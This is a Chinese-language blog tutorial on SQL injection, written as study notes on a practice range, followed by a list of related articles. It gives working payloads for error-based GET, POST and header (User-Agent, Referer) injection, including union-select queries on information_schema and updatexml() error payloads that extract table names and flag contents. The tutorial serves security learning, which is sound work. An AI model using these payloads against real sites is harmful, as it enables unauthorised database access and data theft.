WEB安全的总结学习与心得(十)

  • 01 SQL注入漏洞之简介
  • 02 SQL注入的过程
  • 03 SQL注入的本质
  • 04 SQL注入靶场
    • 1.显错注入(Get注入)
    • 显错注入小结
    • 2.POST注入
    • POST注入小结
    • 3.Head注入
    • 方法1:利用user agent
    • 方法2:利用referer
    • 方法3:利用X·Forwarded·For
    • 4.sql盲注
    • 布尔盲注
    • 时间盲注
    • 5.宽字节注入
    • 后续持续更新敬请期待

01 SQL注入漏洞之简介

属性 介绍
危害 获取数据库信息;获取后台隐私信息;植入Webshell,获取后门
漏洞类型 服务器端漏洞

02 SQL注入的过程

1.获取用户请求参数
2.精心构造代码拼接
3.SQL语句执行构造参数

03 SQL注入的本质

数据和代码未分离,即数据被当做了代码来执行。

04 SQL注入靶场

1.显错注入(Get注入)

第一步:判断注入点
and1=1 正常

and 1=2 报错,因此存在注入点

第二步:判断字段总数
and 1=1 order by 3

and 1=1 order by 4 此时出错说明字段数是3

第三步:判断显示位置
and 1=1 union select 1,2,3,因此显示位置为2和3

第四步:查询当前库名
and 1=1 union select 1,2,database()

第五步:查询表名
and 1=2 union select 1,database(),table_name from information_schema.tables where TABLE_SCHEMA=database() limit 0,1

第六步:查询列名
and 1=2 union select 1,2,column_name from information_schema.columns where TABLE_NAME=“表名” limit 0,1
注:这里注意写表名的是时候要加引号,否则不显示内容
第七步:查询字段内容
and 1=2 union select 1,Id,flag from 表名 limit 0,1

显错注入小结

以上是显错注入中最简单的一次手动注入过程,找注入点时还可能遇到以下几种情况,第一步判断注入存在绕过之后,后续步骤以此类推大同小异。
绕过单引号

绕过单引号括号

绕过双引号括号

2.POST注入

POST注入是指使用POST进行传参的注入
第一步:找注入点
‘or 1=1 – qwe’

第二步:判断字段总数
‘or 1=1 order by 3 – qwe’

第三步:判断显示位置
‘union select 1,2,3 – qwe’

POST注入小结

与Get注入唯一区别就是输入参数的位置由URL变成了前端表单,原理是相同的,后续步骤可参照显错注入照猫画虎。
本文展示的是手动注入的方法,其实POST注入使用渗透工具sqlmap效果不错,具体步骤和方法可以参考本人另一篇文章渗透测试工具sqlmap使用技巧-以POST注入为例

3.Head注入

Head注入就是在传参的时候,将数据构建在http头部,使用head注入需要在登录状态下,因此需要知道用户名和密码,而用户名和密码一般情况下我们是不知道的,可以使用暴力破解,欢迎参考本人另一篇文章渗透测试工具Burpsuite的使用

方法1:利用user agent

得到账号和密码后,通过Burpsuite抓取数据包,将user agent参数改为如下语句

'1 and updatexml(1,concat(0x7e,(select database())),1),1)-- qwe

这里利用报错注入方法,结合更新xml文档的updatexml函数,输入了特殊字符~,于是在不符合xml规则报错的同时执行了嵌入的子查询可以得到我们想要的数据库名,表名等,如下图所示,即找到了注入点,接下来的步骤可以参考GET注入了
第一步:查询库名

第二步:查询表名

 1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),1) -- qwe


第三步:查询字段名

1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag_head' limit 0,1)),1),1) -- qwe

第四步:查询字段内容

1' and updatexml(1,concat(0x7e,(select flag_h1 from flag_head limit 0,1)),1),1) -- qwe

方法2:利用referer

与方法1相比只是修改参数的位置不同,这里直接展示最后一步

方法3:利用X·Forwarded·For

这里使用了一个改数据包头部字段的插件,后续会介绍这个插件的使用

4.sql盲注

盲注是指在服务器上没有错误回显的时候进行的注入攻击

布尔盲注

只返回true或者false
第一步:采用二分法获取数据库长度,如下图所示,得到数据库长度是12


第二步,通过抓包暴力破解得到数据库名
如下图所示,substr()是分割函数,第一个参数是待分割字符串,这里是待暴破库名,第二个参数是字符串第几位,ascii()是将字母转换为数字的函数,通过组合暴力破解可以得到库名为kanwolongxia,因为暴力破解耗时太长,一般盲注还是使用渗透工具sqlmap

时间盲注

加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否准确
直接使用sqlmap

5.宽字节注入

后续持续更新敬请期待

WEB安全的总结学习与心得(十)——SQL注入漏洞相关推荐

  1. Web安全之SQL注入漏洞学习(一)

    Web程序三层架构 三层架构主要是指将业务应用规划为的表示层 UI.数据访问层 DAL 以及业务逻辑层 BLL,其分层的核心任务是"高内聚低耦合"的实现.在软件体系架构设计中,分层 ...

  2. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  3. 【转】基于SQL的Web系统安全防范——SQL注入漏洞

    攻击研究及防范措施 SQL-Based Web System Security--Structured Query Language InjectionLeak Attack Study And De ...

  4. 【web安全】SQL注入漏洞1--寻找SQL注入

    引言 我们在做web应用的时候,经常会根据前台的请求,到后台查询数据.由于前台用户输入的请求是不可信任的, 我们在代码里,如果直接将前台传过来的数据拼接到sql语句中,那么用户就可以构造非法的SQL语 ...

  5. mysql注入漏洞语句,web安全之sql注入漏洞

    概念 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通俗地讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力 ...

  6. 危险!!!也许你的web网站或服务正在悄无声息地被SQL注入

    2010年秋季,联合国官方网站遭受SQL注入攻击. 2014年一个叫"TeamDigi7al"的黑客组织攻击了美国海军的一个名为"Smart Web Move" ...

  7. web漏洞-SQL注入漏洞、目录遍历漏洞、文件下载漏洞

    这里用到的是Pikachu漏洞练习平台 一.SQL注入漏洞-数字型注入 SQL注入漏洞简介 在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库 ...

  8. 从小白到web渗透工程师——零基础指南(2)sql注入漏洞

    hello,各位小伙伴,在看过上一篇文章之后,想必大家伙对于web渗透工程师有了一定的了解,那么,作为一名渗透工程师,挖洞,就是我们的日常工作中必不可少的一部分了.在安全圈中,如果你挖的洞危险系数够高 ...

  9. Web安全之Sql注入漏洞

    Sql注入漏洞 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行. ...

最新文章

  1. 代码规范性与品质问题~
  2. 数据结构和算法:递归和迭代算法示例
  3. java泛型学习一:解惑继承
  4. 1103: [POI2007]大都市meg(dfs序+线段树||树状数组)
  5. php cdi_集成CDI和WebSockets
  6. mysql三高讲解(一):1.1 客户端怎样连接mysql数据库
  7. 开源字体不香吗?五款 GitHub 上的爆红字体任君选
  8. 浅出深入统计学(一)
  9. log4j2.xml 配置文件详解
  10. 【HTML】网页开发的一些单词(关键词),新手必备。
  11. 场曲 zemax示例(概念、校正)
  12. 【渝粤教育】电大中专Office办公软件 (15)作业 题库
  13. 考研复试怎么穿搭?看这一篇就够了!
  14. 向亲人、故乡和“本民族”致敬的写作
  15. win10的oneNote文件存储在哪
  16. BatchNormalization、LayerNormalization、InstanceNorm、GroupNorm、SwitchableNorm总结
  17. Excel模板中下拉筛选框动态展示筛选内容
  18. winXP自动关机命令
  19. 明医众禾完成上亿元A2轮融资,复星医药战略投资
  20. ubuntu测试键盘工具_从bash脚本检测Ubuntu键盘

热门文章

  1. opencv4.0.1 qr二维码定位识别源码详解(一)
  2. FLASH ECC算法
  3. 只需5分钟看完这篇 HTTPS,去阿里面试和面试官扯皮就没问题了!
  4. 阿里Code无密钥登录
  5. Kali Linux安装pip2.exe
  6. 「端口网」端口网线怎么接
  7. aspera 下载ENA 数据报错Error: Client unable to connect to server (check UDP port and firewall
  8. 新浪微博开发之三十(转发微博frame)
  9. 华为matepad进行html编辑,UP主们的秘密!原来用华为MatePad Pro可以这样做Vlog
  10. html把一条横线放在底部,html怎样把div放在底部